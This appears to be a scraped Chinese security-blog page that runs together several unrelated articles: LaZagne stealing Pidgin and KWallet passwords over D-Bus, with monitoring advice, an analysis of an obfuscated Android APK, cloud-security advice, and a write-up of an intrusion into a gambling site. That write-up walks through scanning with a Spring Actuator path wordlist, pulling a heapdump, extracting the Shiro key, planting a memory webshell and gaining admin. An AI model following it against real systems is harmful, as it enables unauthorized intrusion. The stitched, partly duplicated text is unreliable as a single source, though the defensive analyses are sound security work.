Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86392514

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

微信截图_20230827220556.png

攻擊者已經增加了對Linux系統的目標攻擊,並且像LaZagne(一種流行的開源密碼恢復工具)這樣的hacktool實用程序的易於訪問性使得攻擊者在惡意軟件攻擊鏈中使用它來轉儲密碼變得越來越方便。該工具對Linux用戶構成了重大風險,因為它針對的是Pidgin等流行聊天軟件,使用D-Bus API提取包括密碼在內的敏感信息。 D-BUS是一個提供簡單的應用程序互相通訊的途徑的自由軟件項目,它是做為freedesktoporg項目的一部分來開發的。

本文會介紹LaZagne如何利用Pidgin D-Bus API來獲取這些信息,以及為什麼密切關注D-Bus API是一種明智的安全舉措。另外,我們還將介紹具體示例,研究攻擊者如何在特定的惡意軟件活動中使用LaZagne。 pidgin是一個可以在Windows、Linux、BSD和Unixes下運行的多協議即時通訊客戶端,可以讓你用你所有的即時通訊賬戶中一次登錄。

支持eBPF的Linux的Advanced WildFire成功地檢測到D-Bus API相關的活動。 Palo Alto Networks的客戶可以通過YARA和行為規則來檢測與LaZagne攻擊相關的可疑活動。

D-Bus簡介Desktop-Bus,通常稱為D-Bus,是基於*nix的系統中的一種進程間通信(IPC)機制,它允許應用程序和服務相互有效地通信。 D-Bus使用客戶機-服務器體系結構,其中dbus-daemon應用程序充當服務器,應用程序充當客戶機。

D-Bus廣泛應用於NetworkManager, PulseAudio, systemd和Evolution等流行軟件中,它可以實現各種系統組件和應用程序之間的無縫通信。例如,Evolution電子郵件客戶端使用D-Bus與Evolution數據服務器等其他組件進行通信。該數據服務器處理存儲和管理電子郵件帳戶、聯繫人和日曆等任務。

Linux系統上的D-Bus API促進了應用程序和服務之間的通信,這可能會洩露敏感數據。因此,如果不對API進行監控,它們可能會帶來風險。 LaZagne hacktool利用Pidgin D-Bus API來轉儲憑證。 HackTool/SMBRelay是一個利用139端口截獲用戶機密信息,以獲取服務器訪問權限的木馬程序。

LaZagne如何竊取Pidgin文憑LaZagne連接到Pidgin客戶端的D-Bus API,並在應用程序運行時獲取帳戶憑證,包括用戶名和密碼。

1.png

LaZagne獲取帳戶憑證

下圖中的代碼顯示了LaZagne hacktool如何與Pidgin D-Bus API連接以檢索憑證。

2.png

LaZagne利用D-Bus獲取密碼

接下來我們會對上圖中高亮顯示的代碼進行詳細介紹:

1.get_password_from_dbus方法在Pidgin類中定義,它繼承自ModuleInfo類;

2.使用dbus.bus.BusConnection(session)為每個會話創建D-Bus連接。對於在紫色對像上調用的每個方法(作為Pidgin D-Bus API的實例創建),dbus-python庫內部處理D-Bus消息的創建、發送和接收;

3.PurpleAccountGetUsername(_acc), PurpleAccountGetPassword(_acc)和PurpleAccountGetProtocolName(_acc)方法用於與Pidgin應用程序交互。它們分別從Pidgin D-Bus API獲取每個帳戶的用戶名、密碼和協議名;

4.然後將提取的信息作為字典存儲在名為pwd_found的列表中。

一些可用於類似進程的低級libdbus庫API(如下圖所示)包括:

1.dbus_message_new_method_call (),為方法調用創建一個新的D-Bus消息;

2.dbus_message_append_args (),將參數附加到D-Bus消息;

3.dbus_connection_send_with_reply_and_block (),

發送消息並等待回复;

4.dbus_message_get_args (),從回复消息中提取參數。

3.png

LaZagne的Pidgin類的低級實現

LaZagne允許攻擊者轉儲除Pidgin之外的其他帳戶的憑證。它還可以通過D-Bus API轉儲KDE錢包(KWallet)密碼。 KWallet是Linux上KDE桌面環境使用的安全密碼管理系統,這些密碼是保存在KWallet系統中的個人密碼,其中可以包括網站密碼、電子郵件帳戶密碼、Wi-Fi網絡密碼或用戶選擇存儲的任何其他憑證。

攻擊者利用這些D-Bus API獲取敏感數據,各種公開來源記錄了在過去幾年中使用LaZagne的攻擊組織的案例。

惡意軟件活動中的LaZagneLaZagne在多個操作系統上的可用性使其成為攻擊者的一個有吸引力的工具。

2019年,疑似由伊朗贊助的攻擊組織Agent Serpens(又名Charming Kitten或APT35)利用LaZagne進行了一系列攻擊,從基於windows的系統中獲取登錄憑證。

2020年,Unit 42研究人員追踪到的活動集群為CL-CRI-0025(被其他公司追踪為UNC1945或LightBasin的攻擊者),使用包含各種工具(包括LaZagne)的自定義快速仿真器(QEMU)Linux虛擬機從意大利和其他歐洲地區獲取證書。

據報導,自2020年以來,我們追踪的攻擊者Prying Libra(又名Gold Dupont,導致RansomEXX勒索軟件攻擊的幕後黑手)使用LaZagne從目標主機提取憑證。

早在2021年7月,Adept Libra(又名TeamTNT)就利用LaZagne作為其Chimaera活動的一部分,從各種操作系統中竊取密碼,包括基於雲環境的Linux發行版。該活動至少持續到2021年12月,當時Adept Libra使用LaZagne從Kubernetes環境中的WordPress網站竊取密碼。

下表總結了黑客工具在各種惡意軟件攻擊活動中的使用情況:

4.png

2021年12月攻擊中使用LaZagne的bash腳本示例

5.png

TeamTNT LaZagne腳本(VirusTotal按哈西值計算的結果

複雜的組織在其活動中使用LaZagne突顯了該工具在捕獲密碼和實現進一步利用方面的有效性。

監控D-Bus API由於LaZagne可以利用D-Bus從運行的應用程序中提取敏感數據,我們可以監控D-Bus API調用來檢測此類可疑活動。庫跟踪工具,例如基於Extended Berkeley Packet Filter(eBPF)的工具,有助於公開D-Bus API調用。

下圖說明了使用bpftrace工具針對LaZagne黑客工具活動對D-Bus API的監控(SHA256:d2421efee7a559085550b5575e2301a7c2ed9541b9e861a23e57361c0cdbdbdb)。

Bpftrace是Linux系統的命令行工具,用於動態分析內核和用戶級程序。使用bpftrace工具,我們在dbus_message_get_args() API上設置監控器。我們使用這個API從應答消息中提取參數,該消息在libdbus-1.so.3共享對像庫中定義。

使用的單行bpftrace probe命令如下:

6.png

使用bpftrace監控D-Bus API

上圖顯示了Pidgin用戶名和密碼被LaZagne成功轉儲(在左側終端上),API調用被記錄在bpftrace輸出中(在右側終端上)。

掛鉤高級D-Bus API並記錄諸如進程標識符(PID)和程序名稱之類的詳細信息可能很有用,因為它們允許我們識別哪個進程正在調用API。

總結密切監控D-Bus API可能是防御者保護應用程序和連接系統免受惡意軟件和黑客工具攻擊的重要途徑。開發人員和網絡安全專業人員必須協作,隨時了解安全風險,並採取必要措施保護應用程序和敏感用戶數據。

隨著雲計算和物聯網的日益普及,強大的安全措施至關重要。支持eBPF的Linux的Advanced WildFire成功地檢測到D-Bus API相關的活動。

背景

隨著移動應用的廣泛普及,惡意軟件也日趨複雜和隱蔽。本報告聚焦於一個由ReBensk 提交至incinerator.cloud 的惡意Android 軟件樣本。

基本信息

樣本哈希值:

MD5: 2f371969faf2dc239206e81d00c579ff

SHA-256: b3561bf581721c84fd92501e2d0886b284e8fa8e7dc193e41ab300a063dfe5f3

經由ReBensk 提交至incinerator.cloud 的多個惡意樣本中,我們特別關注了一款經過自定義修改的APK 文件,以下簡稱為“樣本b356”。這一樣本具有獨特的混淆和隱蔽技術,導致標準的解壓縮工具成功解壓其內容。我們通過針對性修復後,成功解壓縮。但是常用的apk 分析工具仍然分析失敗,通過進一步深度分析,我們得以突破樣本的限制,最終能夠成功分析。

分析過程

1. AndroidManifest.xml 的文件類型修改

1.1 分析失敗的原因

我們利用010 Editor 打開樣本b356 中修復後的AndroidManifest.xml 二進製文件。嘗試用該工具的AndroidResource 模板進行分析時,首次嘗試遭到失敗。從錯誤日誌中了解到,問題起始於文件的pos:0。

1.PNG

通過與正常的AndroidManifest.xml 二進製文件對比,我們發現其首個字節即有差異。

2.PNG

資源文件的類型定義如下:

enum {

RES_NULL_TYPE=0x0000,

RES_STRING_POOL_TYPE=0x0001,

RES_TABLE_TYPE=0x0002,

RES_XML_TYPE=0x0003, //Chunk types in

RES_XML_TYPE RES_XML_FIRST_CHUNK_TYPE=0x0100,

RES_XML_START_NAMESPACE_TYPE=0x0100,

RES_XML_END_NAMESPACE_TYPE=0x0101,

RES_XML_START_ELEMENT_TYPE=0x0102,

RES_XML_END_ELEMENT_TYPE=0x0103,

RES_XML_CDATA_TYPE=0x0104,

RES_XML_LAST_CHUNK_TYPE=0x017f, //This contains a uint32_t array mapping RES_XML_RESOURCE_MAP_TYPE=0x0180, //Chunk types in RES_TABLE_TYPE RES_TABLE_PACKAGE_TYPE=0x0200,

RES_TABLE_TYPE_TYPE=0x0201, RES_TABLE_TYPE_SPEC_TYPE=0x0202

};

按照Android 規範,該字節通常應為0x03,但在樣本b356 中並非如此。

1.2 為什麼 android 系統可以解析

定位到android 系統解析源碼,

2(2).png

這裡是開始解析Androidmanifest.xml 二進製文件的地方,如源碼所示,沒有驗證前兩個字節是否是0x0003,只對headerSize 的合法性做了驗證。所以樣本b356 修改了文件類型後,android 系統仍然能夠正確解析。

1.3 修復建議

靜態分析工具修復建議:和Android 系統解析流程保持一致,此處不校驗文件類型。

2. stringPoolSize 修改

2.1 數據異常點分析

我們手動修正首個字節為0x03 以便進一步分析。再次嘗試用AndroidResource 模板解析後,發現分析仍然失敗,只展示了字符串池(string pool)而沒有解析出XML 主節點。

3.png

展開stringoffsets的數據進行查看,從第131 個stringoffset開始,數據顯著異常,遠超文件全長,明顯是錯誤的。進一步分析stringPool的頭部信息,計算出實際的字符串個數為131。

4.png

在樣本b356 的stringoffsets字段中,從第131 個開始,數據明顯存在異常:這些值遠遠超過了整個文件的實際長度。這種不一致性明顯指向了一個錯誤,也意味著記錄在stringoffsets中的數量很可能是不准確的。

5.png

在深入分析樣本b356 中的stringpool結構時,我們首先確認了strdata[0],即stringpool中的第一個字符串,被正確解析。這一點是非常關鍵的,因為它證明了我們的解析起始位置(0x230,即十進制的560)是準確的。

stringsStart字段指出了從文件頭(header)開始計算,552 個字節後就是stringpool的開始位置。由於通常會有8 個字節用於存儲stringpool的元信息(例如長度或其他標記),所以552+8 恰好等於560。

6.png

這自然引發了一個問題:這552 個字節的具體內容是什麼?我們知道strPoolheader自身就佔用了28 個字節(或者說是0x1C)。如果從552 個字節中扣除這28 個字節,那麼剩下的524 個字節用於什麼呢?

剩下的524 個字節非常可能是用於存儲stringoffsets的。每個stringoffset通常會佔用4 個字節,因此524/4 正好等於131。這一點與我們之前通過手動計算得出的stringoffsets數量是一致的。

7.png

在之前的深度分析中,我們推斷出stringoffsets的實際數量為131,這與樣本b356 中錯誤地標識的數量不一致。為了能更準確地解析該樣本,我們決定修正stringCount字段。

2.2 為什麼 Android 系統能夠正確解析

7(2).png

如上圖系統解析stringPoolsize的源碼所示,stringPoolsize是計算得到,所以樣本b356 修改了stringPoolsize讓眾多通過從文件中讀取stringPoolsize的靜態分析工具失效,但android 系統在解析時任然可以通過計算得到正確的stringPoolSize。

2.3 修改建議

靜態分析工具修改建議:按照android 系統的做法,stringPoolSize通過計算得到,而不是從文件中解析。

手動調整:首先,在樣本b356 的stringPool頭部中找到stringCount字段,並將其值修改為131。

重新解析:在完成修正操作後,我們再次使用010 Editor配合AndroidResource模板來解析樣本。

經過修改後,我們發現XML 的主要節點已經成功被解析。這意味著我們的手動修正是有效的,並且我們現在能夠看到該樣本的更多內部細節。

8.png

儘管我們手動修復了stringCount和成功用010 Editor解析了AndroidManifest.xml的主要節點,使用專用的靜態分析工具依然會出錯。具體的錯誤出現在二進製文件的0x1588字節位置。

3. 在 xml 節點結束位置插入混淆數據

3.1 數據異常分析

我們手動修改stringCount的131,以便繼續分析。

010 Editor 重新加載修改後的文件,結果如圖如下圖所示:

9.png

010 Editor 在解析時已經沒有問題了,但是用靜態分析工具解析時在0x1588遇到非預期數據。

在0x1587字節位置,第一個XML 元素已經結束。靜態分析工具預期0x1588字節作為下一個ResChunk_header的起始點進行分析。然而,在0x158A字節位置嘗試解析size字段時,出現異常。根據ResChunk_header結構的約束,這個size值應該至少大於8,但實際數據並沒有滿足這一條件。

樣本b356 應該是在0x1588字節處插入了一些非標准或混淆的數據,導致靜態分析工具分析出錯。

查看010 Editor 的解析結果得知,startEle 的headersize字段進行了改動,以便在元素結束後添加混淆內容。

10.png

在解析attribute字段之後,如果解析尚未完成或遇到異常,工具應自動跳過到elementStart + size的位置,從那裡開始解析下一個元素。這樣做的目的是繞過可能存在的干擾或錯誤數據。

3.2 為什麼 Android 系統可以解析

如下圖android 系統源碼所示,讀取每個attribute 的數據通過attributeExt的位置,attributeExt的start,attributeExt的attributeSize 計算得到的,attributeExt的start,attributeExt的attributeSize 從byte 中讀取,所以只要attributeExt的attributeStart 正確,就能保證獲取到正確attributeData。

11.png

那attributeExt是怎麼定位的?如下圖源碼所示,每次解析下一個節點的時候,都是當前節點的位置加上header 中讀到的size的長度。

以上文中的案例來描述就是,startEle[1]的位置=startEle[0]的位置+startEle[0].header-size。所以樣本b356 在原先apk 的startEle[0]結束後填充干擾數據的同時,也修改了startEle[0].header-size 的長度,從而讓系統正確解析。

12.png

3.3 修改建議

靜態分析工具修改建議:參照Android 系統的解析方法,每個xml 節點的起始位置是通過上一個節點的起始位置+ 上一個節點的長度。

總結

“b356”樣本展示了多層次、多維度的混淆和隱蔽技術,其目的明確:抵制和破壞標準解壓縮工具和靜態分析解碼的能力。

b356 能夠混淆成功,主要原因是android 系統解析處理流程和市面上常用的靜態分析工具在一些細節上存在出入。

此樣本中只有三個修改點,其他的樣本中還存在一下其他的點,我們在下一篇blog 中會接著分析。

但是主動的對抗方式肯定不是針對每個點修修補補,而是統一靜態分析方式和android 系統解析流程。比方說,把系統源碼中解析方式轉換成靜態分析工具的方式,這個需要社區的共同努力。

來源:https://www.liansecurity.com/#/main/news/IPONQIoBE2npFSfFbCRf/detail

背景

隨著移動應用的廣泛普及,惡意軟件也日趨複雜和隱蔽。本報告著眼於一個由ReBensk 提交至incinerator.cloud 的惡意Android 軟件樣本。

樣本哈希值:

MD5: 2f371969faf2dc239206e81d00c579ff

SHA-256: b3561bf581721c84fd92501e2d0886b284e8fa8e7dc193e41ab300a063dfe5f3

在ReBensk 提交至incinerator.cloud 的多個惡意樣本中,我們特別關注了一款經過自定義修改的APK 文件,以下簡稱為“樣本b356”。這個樣本採用了獨特的混淆和隱蔽技術,導致標準的解壓縮工具無法成功解壓其內容。通過特定的修正操作,我們成功突破這一限制,並進一步分析了該樣本。

分析過程

1. 解壓失敗分析

在嘗試使用7z 工具解壓這個APK 文件時(Apk 本質上是一個ZIP 文件),遇到錯誤顯示AndroidManifest.xml header錯誤,這說明標準的解壓過程無法正確地解壓樣本b356。

1.PNG

在使用010 Editor 打開APK 文件並應用ZipAdv 模板進行解析後,並未發現任何明顯的錯誤或異常。

2.PNG

為了更深入地了解問題,我們打開了一個正常運行的APK 文件進行對比分析。這樣做是為了確定是否存在某種特殊或不規則的結構或數據,可能是導致解壓失敗的原因。

3.PNG

通過對比發現,我們發現樣本b356 採用了一個不非法的壓縮算法0x23C2。在標準的ZIP 格式規範中,壓縮方法由一個短整數(short)表示,取值通常如下文所示(以下代碼取自010 Editor 的ZIPAdv.bt 模板)。由於0x23C2不是任何已知的標準壓縮方法,因此7z 等解壓工具無法識別和處理。

微信图片_20230830182439.png

因此,樣本b356 採用了未知的壓縮算法,導致通用壓縮工具解壓縮失敗。但為什麼它能在Android 系統上仍然可以成功安裝和運行呢?

2. Android 系統的成功解析與運行原因

正如下圖所示, 根據Android 系統源代碼,當系統遇到非COMP_DEFLATE的壓縮算法時,它會採用“未壓縮”(COMP_STORED)的方法處理輸入文件。具體來說,系統直接讀取未壓縮數據的長度,並據此進行解析。

4.png

5.png

6.png

7.png

9.png

10.png

11.png

請注意看黃框和紅框中的代碼對比,在黃框中,如果使用的是COMP_DEFLATE 壓縮算法,系統將按照相應的方法解壓縮,如果不是,系統將直接讀取壓縮前的長度,然後進行處理。

這就解釋了為什麼修改了AndroidManifest 的壓縮方法後,系統仍然可以正確運行。樣本b356 在正常打包流程完成後,將包中的AndroidManifest.xml 文件內容替換為未壓縮前的內容,並將壓縮算法替換為非COMP_DEFLATE 。因此,常規解壓工具會失敗,但Android 系統會按照未壓縮的方式處理,因此可以正常運行。

3. 解壓程序的修改建議

3.1 修復 Apk

12.png

按照Android 系統的處理方式,Apk 的AndroidManifest.xml 只能採用兩種壓縮方式。 COMP_DEFLATE 或未壓縮。

如果壓縮算法不是默認的COMP_DEFLATE ,那麼一定是未壓縮。因此修復apk 的方法是,如果發現壓縮算法不是COMP_DEFLATE ,將壓縮算法設置為0,即未壓縮,並將壓縮後的長度設置為壓縮前的長度。這樣,常規解壓工具就可以解壓了。

修復後,我們嘗試使用7-Zip(通常簡稱為7z)工具進行解壓,結果如下圖所示。儘管仍然存在錯誤,特別是關於CRC(循環冗餘檢查)值尚未修復的問題,但我們已成功解壓了APK 文件,並可以訪問其中的AndroidManifest.xml 內容。

13.png

14.png

3.2 靜態分析工具的修復

靜態分析工具可以按照系統的解壓方式處理,如果發現AndroidManifest.xml 的壓縮方法不是COMP_DEFLATE ,那麼就讀取壓縮前的長度作為AndroidManifest.xml 的內容。

總結

由於Android 系統在解析時對非COMP_DEFLATE 的壓縮方式採取的是未壓縮處理,從邏輯上看,這種做法並不符合規範,因此,導致b356 成功地利用了這一邏輯漏洞。徹底的解決方案應該是Android 系統按照規範的zip 包解壓格式進行處理。

來源:https://www.liansecurity.com/#/main/news/GzKmQIoBUQjGUXE22_tO/detail

HireHackking

记一次bc站实战

初遇难题

发现一个bQc站先尝试打一下主站图片先尝试目录扫描看能不能发现一些后台之类的,这里我用的是dirsearch。图片但是很遗憾,没有什么有价值的目录,连后台也扫不出来,但是这是在意料之中,毕竟大部分菠菜网站防护都做的挺好的。接下里尝试注册一个账号看看图片尝试注入,发现加密,不会逆向的我只能暂时放弃。图片注册成功后发现一个上传接口图片上传成功但是查看后发现他是以id的形式存储,无法形成上传漏洞放弃。图片这个网站拿不下来转换思路尝试对整个ip进行渗透,首先要对这个ip的全端口进行扫描,尽量获取到比较全的信息。获得了两个web页面。rocketmq,这个有最新版漏洞爆出来尝试图片找到工具尝试攻击,但是失败不能执行命令。图片还有另外一个登录界面图片发现存在shiro框架图片尝试爆破但是未发现秘钥。图片

柳暗花明

突破点:他有一个8888端口,访问都会跳转非法ip图片看了一下burp发现他会访问登录页面再进行跳转图片眉头一皱发现事情并不简单,在ip后随便加了一点,导致其报错,发现其使用的是spring框架。图片Actuator 是 Spring Boot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。Actuator 的核心是端点 Endpoint,它用来监视应用程序及交互,spring-boot-actuator 中已经内置了非常多的 Endpoint(health、info、beans、metrics、httptrace、shutdown等等),同时也允许我们自己扩展自己的 Endpoints。每个 Endpoint 都可以启用和禁用。要远程访问 Endpoint,还必须通过 JMX 或 HTTP 进行暴露,大部分应用选择HTTP。



路径是否默认启用功能描述
/auditevents显示当前应用程序的审计事件信息
/beans显示一个应用中所有Spring Beans的完整列表
/conditions显示配置类和自动配置类的状态及它们被应用或未被应用的原因
/configprops显示一个所有@ConfigurationProperties的集合列表
/env显示来自Spring的 ConfigurableEnvironment的属性
/flyway显示数据库迁移路径(如果存在)
/health显示应用的健康信息(当使用一个未认证连接访问时显示一个简单的’status’,使用认证连接访问则显示全部信息详情)
/info显示任意的应用信息
/liquibase展示任何Liquibase数据库迁移路径(如果存在)
/metrics展示当前应用的metrics信息
/mappings显示一个所有@RequestMapping路径的集合列表
/scheduledtasks显示应用程序中的计划任务
/sessions允许从Spring会话支持的会话存储中检索和删除用户会话
/shutdown允许应用以优雅的方式关闭(默认情况下不启用)
/threaddump执行一个线程dump
/heapdump返回一个GZip压缩的hprof堆dump文件
/jolokia通过HTTP暴露JMX beans(当Jolokia在类路径上时,WebFlux不可用)
/logfile返回日志文件内容(如果设置了logging.file或logging.path属性的话),支持使用HTTP Range头接收日志文件内容的部分信息
/prometheus以可以被Prometheus服务器抓取的格式显示metrics信息
直接用spring收集好的目录进行目录扫描。

actuator/auditLog
actuator/auditevents
actuator/autoconfig
actuator/beans
actuator/caches
actuator/conditions
actuator/configurationMetadata
actuator/configprops
actuator/dump
actuator/env
actuator/events
actuator/exportRegisteredServices
actuator/features
actuator/flyway
actuator/health
actuator/heapdump
actuator/healthcheck
actuator/heapdump
actuator/httptrace
actuator/hystrix.stream
actuator/info
actuator/integrationgraph
actuator/jolokia
actuator/logfile
actuator/loggers
actuator/loggingConfig
actuator/liquibase
actuator/metrics
actuator/mappings
actuator/scheduledtasks
actuator/swagger-ui.html
actuator/prometheus
actuator/refresh
actuator/registeredServices
actuator/releaseAttributes
actuator/resolveAttributes
actuator/scheduledtasks
actuator/sessions
actuator/springWebflow
actuator/shutdown
actuator/sso
actuator/ssoSessions
actuator/statistics
actuator/status
actuator/threaddump
actuator/trace
auditevents
autoconfig
api.html
api/index.html
api/swagger-ui.html
api/v2/api-docs
api-docs
beans
caches
cloudfoundryapplication
conditions
configprops
distv2/index.html
docs
druid/index.html
druid/login.html
druid/websession.html
dubbo-provider/distv2/index.html
dump
entity/all
env
env/(name)
eureka
flyway
gateway/actuator
gateway/actuator/auditevents
gateway/actuator/beans
gateway/actuator/conditions
gateway/actuator/configprops
gateway/actuator/env
gateway/actuator/health
gateway/actuator/heapdump
gateway/actuator/httptrace
gateway/actuator/hystrix.stream
gateway/actuator/info
gateway/actuator/jolokia
gateway/actuator/logfile
gateway/actuator/loggers
gateway/actuator/mappings
gateway/actuator/metrics
gateway/actuator/scheduledtasks
gateway/actuator/swagger-ui.html
gateway/actuator/threaddump
gateway/actuator/trace
health
heapdump
heapdump.json
httptrace
hystrix
hystrix.stream
info
integrationgraph
jolokia
jolokia/list
liquibase
list
logfile
loggers
liquibase
metrics
mappings
monitor
prometheus
refresh
scheduledtasks
sessions
shutdown
spring-security-oauth-resource/swagger-ui.html
spring-security-rest/api/swagger-ui.html
static/swagger.json
sw/swagger-ui.html
swagger
swagger/codes
swagger/index.html
swagger/static/index.html
swagger/swagger-ui.html
swagger-dubbo/api-docs
swagger-ui
swagger-ui.html
swagger-ui/html
swagger-ui/index.html
system/druid/index.html
threaddump
template/swagger-ui.html
trace
user/swagger-ui.html
version
v1.1/swagger-ui.html
v1.2/swagger-ui.html
v1.3/swagger-ui.html
v1.4/swagger-ui.html
v1.5/swagger-ui.html
v1.6/swagger-ui.html
v1.7/swagger-ui.html
/v1.8/swagger-ui.html
/v1.9/swagger-ui.html
/v2.0/swagger-ui.html
v2.1/swagger-ui.html
v2.2/swagger-ui.html
v2.3/swagger-ui.html
v2/swagger.json
webpage/system/druid/index.html
%20/swagger-ui.html
开始扫描图片并发现其中存在heapdump,下载下来。Heap Dump也叫堆转储文件,是一个Java进程在某个时间点上的内存快照。可以通过Eclipse MemoryAnalyzer工具对泄露的heapdump文件进行分析,查询加载到内存中的明文密码信息,比如redis密码,mysql数据库账号和密码。这里我用的是whwlsfb师傅的JDumpSpider
https://github.com/whwlsfb/JDumpSpider图片成功获取shiro的key图片打入内存马。图片获取管理员权限图片
转自原文链接地址: https://mp.weixin.qq.com/s/-ZdaVuqVmsw9PCHYDYuABA

儘管與現場資源相比,雲計算為組織帶來了許多優勢,但它仍然容易受到內部和外部攻擊。為了確保云中應用程序的安全,請考慮已知的雲漏洞和數據保護最佳實踐。

在本文中,我們概述了雲計算技術的關鍵漏洞,然後了解了雲計算最常見的攻擊類型。最後,我們考慮行業最佳實踐和我們自己的經驗,就如何確保基於雲的解決方案的安全性提供實用建議。

本文對於希望在其解決方案中使用雲計算並確保其受到保護的開發和產品領導者非常有用。

雲計算攻擊有多危險?

雲計算為組織提供了大量面向業務的優勢:降低基礎設施成本、本地硬件零費用、可容納任意數量用戶的即時可擴展性等。但從網絡安全的角度來看,雲計算可以使與本地部署相比,應用程序更容易受到威脅和攻擊。

image.png

雲計算技術的漏洞導致了2023 年迄今為止最嚴重的一些數據洩露事件。以下是幾個雲攻擊示例:

大規模MOVEit 黑客攻擊。 MOVEit 是一款使用FTP 和雲基礎設施傳輸文件的工具,於2023 年6 月遭受勒索軟件攻擊。 Clop 黑客組織濫用安全漏洞竊取通過MOVEit 傳輸的敏感數據。其中包括來自美國大學、公共部門組織、銀行、能源和製造公司以及法律服務提供商的數據。至少有1500 萬人受到影響。美國國務院懸賞1000 萬美元,以獲取有關克洛普組織的信息。

兩次T-Mobile 違規事件。 T-Mobile 透露,他們在2023 年2 月和3 月經歷了兩次大規模數據洩露,洩露了超過3700 萬客戶的數據。該公司聲稱,黑客通過未受授權保護的API 訪問了此信息。

美國軍方電子郵件洩露。 2023 年2 月,安全研究員Anurag Sen 發現Microsoft Azure 中託管了一個不安全的美國國防部電子郵件服務器。該服務器存儲了約3 TB 的敏感軍事和個人信息,沒有密碼保護。

雲基礎設施和應用程序遭到破壞通常會導致敏感數據洩露、耗時且成本高昂的內部調查、聲譽和業務損失以及其他負面後果。讓我們看一下導致此類洩露的關鍵雲計算漏洞。

常見的雲計算漏洞在雲環境中,網絡安全責任在雲服務提供商(CSP) 和客戶之間劃分。這種劃分使數據保護變得更加複雜,因為它為惡意行為者創造了更多的入口點,並為人為錯誤創造了空間。根據所選擇的雲計算模型,雙方的責任也有所不同。

讓我們看一下一些可能成為雲攻擊媒介的常見漏洞:

image.png

安全配置錯誤。 AWS、Google Cloud 和Azure 等主要CSP 為其客戶提供多種方法來配置其環境的安全性。開發人員可以為存儲、基礎設施元素、虛擬機等設置額外的保護措施。但開發人員也可能由於以下原因而錯誤配置環境:

人為錯誤

CSP 提供的文檔不完整

隱藏或不明顯的設置

惡意行為者可能會濫用配置錯誤的雲環境來訪問敏感數據或控制雲應用程序或環境。

訪問管理薄弱。對雲資源的訪問應通過多重身份驗證(MFA)、密碼管理、可配置的訪問權限等進行保護。理想情況下,在系統驗證其身份、憑證和訪問權限後,用戶應該只能訪問他們需要的資源。

當CSP 沒有提供足夠的訪問保護功能或云管理員忽視使用它們時,黑客就可以獲得對敏感資源的訪問權限。

不受保護的API。 API 允許用戶與基於雲的服務交互。 API 中的漏洞可能會嚴重影響基於雲的應用程序的安全性。例如,API 可能會過度共享訪問信息、授予應用程序內部不必要的可見性,或者忽略服務的流量限制。

這就是黑客經常使用雲API 來未經授權訪問數據或執行拒絕服務(DoS) 攻擊的原因。

容易受到DoS 攻擊。雲計算的主要優勢之一是雲應用程序的24/7 可用性。如果組織和CSP 未能實施DoS 保護機制,惡意行為者可能會向其實例發送垃圾郵件請求,並使合法用戶無法使用它們。

這樣,組織可能會失去對其敏感數據和內部雲託管應用程序的訪問權限,或者無法為其用戶提供服務。在某些情況下,黑客還會向組織索要贖金以阻止DoS 攻擊。

帳戶劫持和洩露。對雲基礎設施和應用程序的特權訪問通常是黑客攻擊的目標。使用管理員的憑據,黑客可以在沒有人注意到的情況下滲透到組織中。

由於社會工程、未能保護管理員憑據、跨站點腳本和緩衝區溢出攻擊,或者未能檢測到鍵盤記錄程序和類似惡意軟件,可能會發生帳戶洩露。

密碼學較弱或不存在。儘管雲提供商使用加密算法來保護存儲中的數據,但他們通常依賴有限的熵源來自動生成用於數據加密的隨機數。例如,基於Linux 的虛擬機從精確的毫秒內生成隨機密鑰。可能需要更靈活的方式來確保強大的數據加密,因為攻擊者還使用複雜的解碼機制來破解信息。

因此,您的團隊應該在將數據移動到雲之前考慮如何保護數據。

共享技術漏洞。雲計算涉及虛擬化和雲編排等共享技術的使用。通過利用這些技術任何部分的漏洞,攻擊者可能會對許多雲用戶造成重大損害。

虛擬機管理程序中的弱點可能使黑客能夠控制虛擬機甚至主機本身。如果黑客逃離虛擬機,他們可以通過共享資源不受限制地訪問主機。有必要注意您委託雲解決方案的雲提供商的安全性。

確保云計算安全的7 個最佳實踐雲服務的動態特性打破了傳統的現場軟件安全模型。顯然,組織不能完全依賴其CSP 來保護雲計算環境,需要付出額外的努力來確保數據保護。

在Apriorit,我們努力在開發、雲基礎設施配置和維護過程中保護雲應用程序的安全。以下是我們用來防止雲計算解決方案受到安全攻擊的關鍵做法:

image.png

1.使用身份管理身份管理允許雲環境在授予用戶訪問受保護資源之前驗證用戶的身份。這種簡單但有效的措施使惡意行為者更難使用竊取的憑據來訪問敏感信息。

所有主要的CPS 都提供一些身份管理功能。為新項目選擇可靠的CSP 時,我們始終評估其以下功能:

多重身份驗證

靜態和動態密碼的使用和管理

如果需要,使用硬件令牌或生物識別技術

與身份服務集成

請記住,在應用程序維護期間,您的團隊必須定期檢查身份管理配置、進行審核並保護或刪除任何可疑的身份和令牌。

2、實施准入管理一旦獲得云環境的訪問權限,用戶應該只能與他們需要的資源進行交互。為用戶提供對任何資源的不受限制的訪問會帶來遭受內部攻擊的風險,並增加憑證盜竊可能造成的損害。

為了保證服務的安全,雲應用開發者應該對不同的管理員、特權用戶、第三方和普通用戶實施基於角色的權限。這樣,應用程序所有者可以配置訪問權限、建立訪問策略並限制對其云基礎設施可能產生的影響。

此外,雲編排應使特權用戶能夠根據公司內的職責建立其他用戶的權限範圍。

3. 強制數據加密雲環境中的數據在傳輸和存儲的各個階段都需要加密:

在源頭(用戶端)

傳輸中(從用戶傳輸到雲服務器的過程中)

靜止時(存儲在雲數據庫中時)

現代數據加密和標記化技術可以有效防禦帳戶劫持。此外,證明端到端加密對於保護傳輸中的數據免受中間人攻擊也很重要。使用包含鹽和哈希值的強大加密算法可以有效地抵禦網絡攻擊。

即使端到端加密數據被洩露,黑客也無法使用它,因為他們無法解密、讀取和使用它。

4. 實施入侵預防和檢測機制許多CSP 為其客戶提供內置的入侵檢測和防禦系統,用於監視網絡流量或客戶端基礎設施中的機器,以檢測惡意活動和可疑用戶行為。

在開發基於雲的解決方案時,開發人員應啟用入侵檢測系統並確保其按預期工作,以確保云攻擊的預防。他們還可以實施自定義入侵檢測或確保客戶可以將其解決方案集成到第三方系統中。

